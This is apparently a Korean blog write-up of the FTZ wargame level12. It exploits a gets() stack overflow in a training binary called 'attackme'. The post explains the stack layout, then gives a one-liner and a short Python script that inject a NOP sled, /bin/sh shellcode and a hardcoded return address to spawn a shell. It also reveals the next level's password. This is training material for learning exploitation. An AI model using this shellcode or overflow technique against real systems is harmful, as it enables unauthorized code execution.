[FTZ]level12
level11부터는
공격코드도 작성해야하네요!!
딱 봐도 gets라는 취약한 함수가 눈에 띄네요!!
level11과 비슷한 문제같은데
입력을 main함수의 인자로 받는 것이 아니고
프로그램 내에서 받고 있네요.
level11과 비스무리하지만
아래를 살펴보면
main+56에서
gets가 eax의 주소에 입력을 하고 있으며
eax는 ebp-264를 의미하네요.
main+79라인에서 보면
eax가 가리키는 곳을 출력하고 있네요.
종합해보면
입력받은 내용을 출력하지요.
main+79에 브레이크포인트를 걸고
실행해 봅시다.
문장을 입력하라니..
"aaaa"
이 후 eax가 가리키는 곳의 문자열을 출력해보면
"aaaa"
즉, 입력한 것이 출력되네요.
대략 그려보면
str[256] + dummy[8] + SFP[4] + RET[4] 로
구성되겠네요?
RET에는 0xbfffeaf0이 들어가구요.
세그먼트 폴트가 뜨지만
ASLR때문이라 여러번 시도하면
shell이 얻어지네요.
(python -c "print '\x90'*100+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*143+'\xf0\xea\xff\xbf'"; cat) | ./attackme
화면이 너무 안 이쁘죠?
조금 깔끔하게 공격코드를 작성해 봅시다.
import os
import struct
p32 = lambda x:struct.pack('<L', x)
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80'
ret_addr = 0xbfffeaf0
payload = '\x90'*100
payload += shellcode
payload += '\x90'*143
payload += p32(ret_addr)
print payload
Level13 Password is "have no clue".
'Wargame > FTZ' 카테고리의 다른 글
[FTZ]level14 (0) | 2019.09.08 |
---|---|
[FTZ]level13 (0) | 2019.09.07 |
[FTZ]level11 (0) | 2019.09.07 |
[FTZ]level10 (0) | 2019.09.05 |
[FTZ]level9 (0) | 2019.09.05 |
댓글